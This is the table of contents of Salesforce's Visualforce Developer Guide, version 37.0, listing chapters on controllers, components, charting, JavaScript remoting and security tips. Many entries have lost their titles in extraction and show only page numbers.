Salesforce Visualforce Developer Guide
Reklaam
Reklaam
Visualforce Developer Guide
Version 37.0, Summer ’16
@salesforcedocs
Last updated: August 31, 2016
©
Copyright 2000–2016 salesforce.com, inc. All rights reserved. Salesforce is a registered trademark of salesforce.com, inc., as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS
Chapter 1: Introducing Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Which Editions Support Visualforce?
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Which Permissions are Required for Visualforce Development?
. . . . . . . . . . . . . . . . . . . . . . . 4
How is Visualforce Architected?
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
What are the Benefits of Visualforce?
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
When Should I Use Visualforce?
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
How Do Visualforce Pages Compare to S-Controls?
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
What’s New in Visualforce Version 37.0
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Documentation Typographical Conventions
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Chapter 2: Tools for Visualforce Development
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
Using the Development Mode Footer
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Chapter 3: Getting a Quick Start with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Compiling Visualforce Successfully
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Displaying Field Values with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Using the Visualforce Component Library
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Overriding an Existing Page with a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Redirecting to a Standard Object List Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Using Input Components in a Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Adding and Customizing Input Field Labels
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Setting the Tab Order for Fields in a Form
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Adding Dependent Fields to a Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Creating Visualforce Dashboard Components
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Displaying Related Lists for Custom Objects
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Converting a Page to a PDF File
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Building a Table of Data in a Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Editing a Table of Data in a Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
Using Query String Parameters in a Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Getting Query String Parameters
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Setting Query String Parameters in Links
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Getting and Setting Query String Parameters on a Single Page
. . . . . . . . . . . . . . . . . . . 41
Implementing Partial Page Updates with Command Links and Buttons
Contents
Providing Status for Asynchronous Operations
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
Applying Ajax Behavior to Events on Any Component
. . . . . . . . . . . . . . . . . . . . . . . . . 44
Chapter 4: Customizing the Appearance and Output of Visualforce Pages
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Extending Salesforce Styles with Stylesheets
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
Suppressing the Salesforce User Interface and Styles
. . . . . . . . . . . . . . . . . . . . . . . . . 48
Defining Styles for a Component’s DOM ID
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Using Styles from Salesforce Stylesheets
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Identifying the Salesforce Style Your Users See
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
HTML Comments and IE Conditional Comments
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
HTML Tags Added or Modified by Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
Relaxed Tidying for the HTML5 Doctype
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
Manually Override Automatic <html> and <body> Tag Generation
. . . . . . . . . . . . . . . 52
Creating an Empty HTML5 “Container” Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Setting Custom HTML Attributes on Visualforce Components
. . . . . . . . . . . . . . . . . . . . . . . . 56
Offline Caching Using the HTML5 manifest Attribute
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
Render a Visualforce Page as a PDF File
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Add a Save as PDF Feature to a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
Render a Visualforce Page as PDF from Apex
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
Fonts Available When Using Visualforce PDF Rendering
. . . . . . . . . . . . . . . . . . . . . . . 68
Visualforce PDF Rendering Considerations and Limitations
. . . . . . . . . . . . . . . . . . . . . 70
Component Behavior When Rendered as PDF
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Chapter 5: Standard Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
Associating a Standard Controller with a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . 74
Accessing Data with a Standard Controller
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
Using Standard Controller Actions
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Validation Rules and Standard Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Styling Pages that Use Standard Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Checking for Object Accessibility
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Chapter 6: Standard List Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
Associating a Standard List Controller with a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . 79
Accessing Data with List Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
Using Standard List Controller Actions
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Pagination with a List Controller
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
Using List Views with Standard List Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
Editing Records with List Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
Chapter 7: Custom Controllers and Controller Extensions
. . . . . . . . . . . . . . . . . . . . . 86
Contents
What are Custom Controllers and Controller Extensions?
. . . . . . . . . . . . . . . . . . . . . . . . . . 86
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
Building a Controller Extension
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
Building a Custom List Controller
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
Working with Large Sets of Data
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Setting Read-Only Mode for an Entire Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Setting Read-Only Mode for Controller Methods
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Considerations for Creating Custom Controllers and Controller Extensions
. . . . . . . . . . . . . . 97
Order of Execution in a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Order of Execution for Visualforce Page Get Requests
. . . . . . . . . . . . . . . . . . . . . . . . . 99
Order of Execution for Visualforce Page Postback Requests
. . . . . . . . . . . . . . . . . . . . . 101
Examples of Visualforce Page Execution Order
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Testing Custom Controllers and Controller Extensions
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
Validation Rules and Custom Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
Creating Your First Custom Controller
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
Creating a Custom Controller Class
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
Advanced Visualforce Dashboard Components
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
Integrating Visualforce and Google Charts
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Mass-Updating Records with a Custom List Controller
. . . . . . . . . . . . . . . . . . . . . . . . . . . 136
Chapter 9: Overriding Buttons, Links, and Tabs with Visualforce
. . . . . . . . . . . . . . . . 139
Overriding Tabs Using a Standard List Controller
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140
Defining Custom Buttons and Links for Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140
Adding Custom List Buttons using Standard List Controllers
. . . . . . . . . . . . . . . . . . . . . . . . 142
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144
Chapter 10: Using Static Resources
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145
Referencing a Static Resource in Visualforce Markup
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 146
Chapter 11: Creating and Using Custom Components
. . . . . . . . . . . . . . . . . . . . . . . 148
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Using Custom Components in a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Managing Version Settings for Custom Components
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
Contents
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152
Chapter 12: Dynamic Visualforce Bindings
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
Using Dynamic References with Standard Objects
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156
Using Dynamic References with Custom Objects and Packages
. . . . . . . . . . . . . . . . . . . . . 165
Referencing Apex Maps and Lists
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Dynamic References to Global Variables
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
Dynamic References to Static Resources Using $Resource
. . . . . . . . . . . . . . . . . . . . . 173
Dynamic References to Action Methods Using $Action
. . . . . . . . . . . . . . . . . . . . . . . . 176
Dynamic References to Schema Details Using $ObjectType
. . . . . . . . . . . . . . . . . . . . 178
Chapter 13: Dynamic Visualforce Components
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Dynamic Components Restrictions
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Creating and Displaying Dynamic Components
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183
Deferred Creation of Dynamic Components
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 188
Chapter 14: Integrating Email with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194
Sending an Email with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194
Creating a Custom Controller with the Messaging Class
. . . . . . . . . . . . . . . . . . . . . . 194
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201
Creating a Visualforce Email Template
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 202
Using a Custom Stylesheet in a Visualforce Email Template
. . . . . . . . . . . . . . . . . . . . 204
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
Using Custom Controllers within Visualforce Email Templates
. . . . . . . . . . . . . . . . . . . 211
Chapter 15: Visualforce Charting
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213
Visualforce Charting Limitations and Considerations
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213
How Visualforce Charting Works
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
Building a Complex Chart with Visualforce Charting
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Updating Charts with Refreshed Data
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224
Refreshing Chart Data Using <apex:actionSupport>
. . . . . . . . . . . . . . . . . . . . . . . . . 224
Refreshing Chart Data Using JavaScript Remoting
. . . . . . . . . . . . . . . . . . . . . . . . . . 226
Controlling the Appearance of Charts
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235
Contents
Chapter 16: Creating Maps with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
Adding Location Markers to a Map
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245
Adding Info Windows to Markers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247
Example of Building Map Data in Apex
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
Chapter 17: Render Flows with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
Embed Flows in Visualforce Pages
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254
An Advanced Example of Using <flow:interview>
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255
Set Flow Variable Values from a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257
Get Flow Variable Values to a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261
Control Whether Users Can Pause a Flow from a Visualforce Page
. . . . . . . . . . . . . . . . . . 263
Customize How Users Resume Paused Flow Interviews
. . . . . . . . . . . . . . . . . . . . . . . . . . 264
Configure the finishLocation Attribute in a Flow
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265
Customize a Flow’s User Interface
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 266
Chapter 18: Templating with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
Defining Templates with <apex:composition>
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
Referencing an Existing Page with <apex:include>
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273
Chapter 19: Developing for Mobile Devices
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
What is Salesforce Classic Mobile?
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
Developing Pages for iPhone and BlackBerry
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279
Developing Cross-Platform Compatible Pages
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
Building a Visualforce Tab For Use in Salesforce Classic Mobile
. . . . . . . . . . . . . . . . . 286
Adding Visualforce Tabs to Mobile Configurations
. . . . . . . . . . . . . . . . . . . . . . . . . . 286
Testing Visualforce Mobile Pages
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289
Example: Building a Mapping Application for iPhone
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 290
Creating the Custom Controller
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 290
Building the Map and List View
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 295
Chapter 20: Adding Visualforce to a Force.com AppExchange App
Managing Package Version Settings for Visualforce Pages and Components
Chapter 21: Using JavaScript in Visualforce Pages
. . . . . . . . . . . . . . . . . . . . . . . . . . 299
Using $Component to Reference Components from JavaScript
. . . . . . . . . . . . . . . . . . . . . 299
Using JavaScript Libraries with Visualforce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 300
Contents
JavaScript Remoting for Apex Controllers
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
When to Use JavaScript Remoting
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 302
Adding JavaScript Remoting to a Visualforce Page
. . . . . . . . . . . . . . . . . . . . . . . . . . 303
Declaring a Remote Method in Apex
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 306
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309
JavaScript Remoting Limits and Considerations
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 310
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 310
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 312
A Simple Example of Remote Objects
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 312
Using Remote Objects in JavaScript
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314
An Example of Using Remote Objects with jQuery Mobile
. . . . . . . . . . . . . . . . . . . . . 329
Best Practices for Using Remote Objects
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 336
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 337
Best Practices for Improving Visualforce Performance
. . . . . . . . . . . . . . . . . . . . . . . . . . . 337
Best Practices for Accessing Component IDs
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 338
Best Practices for Static Resources
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341
Best Practices for Controllers and Controller Extensions
. . . . . . . . . . . . . . . . . . . . . . . . . . 342
Best Practices for Using Component Facets
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343
Best Practices for Page Block Components
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 345
Best Practices for Rendering PDF Files
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 345
Best Practices for <apex:panelbar>
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 346
Chapter 23: Standard Component Reference
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 347
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 382
Contents
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 391
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 406
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 457
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 464
Contents
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 484
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 486
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 489
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 492
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 515
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 524
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 555
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 557
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 557
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 558
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 559
Contents
chatteranswers:datacategoryfilter
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 559
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 560
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 560
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 561
chatteranswers:forgotpasswordconfirm
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 562
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 562
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 563
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 564
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 569
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 571
knowledge:articleRendererToolbar
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 573
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 574
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 575
liveAgent:clientChatAlertMessage
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
liveAgent:clientChatCancelButton
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 577
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 577
liveAgent:clientChatFileTransfer
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 578
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
liveAgent:clientChatLogAlertMessage
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 580
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 581
liveAgent:clientChatQueuePosition
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 581
liveAgent:clientChatSaveButton
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 582
liveAgent:clientChatSendButton
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 582
liveAgent:clientChatStatusMessage
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 583
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 583
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 585
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 586
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 588
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 590
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 591
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 596
Contents
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 598
Appendix A: Global Variables, Functions, and Expression Operators
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 614
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 629
$User.UITheme and $User.UIThemeDisplayed
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 630
Appendix B: Security Tips for Apex and Visualforce Development
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 647
Unescaped Output and Formulas in Visualforce Pages
. . . . . . . . . . . . . . . . . . . . . . . . . . 649
Cross-Site Request Forgery (CSRF)
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 650
Appendix C: Apex Classes Used in Visualforce Controllers
Contents
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 655
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 662
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 665
IdeaStandardController Methods
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 666
IdeaStandardSetController Class
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 667
IdeaStandardSetController Methods
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 669
KnowledgeArticleVersionStandardController Class
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 670
KnowledgeArticleVersionStandardController Constructors
. . . . . . . . . . . . . . . . . . . . . 672
KnowledgeArticleVersionStandardController Methods
. . . . . . . . . . . . . . . . . . . . . . . 673
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 675
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 676
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 681
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 682
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 689
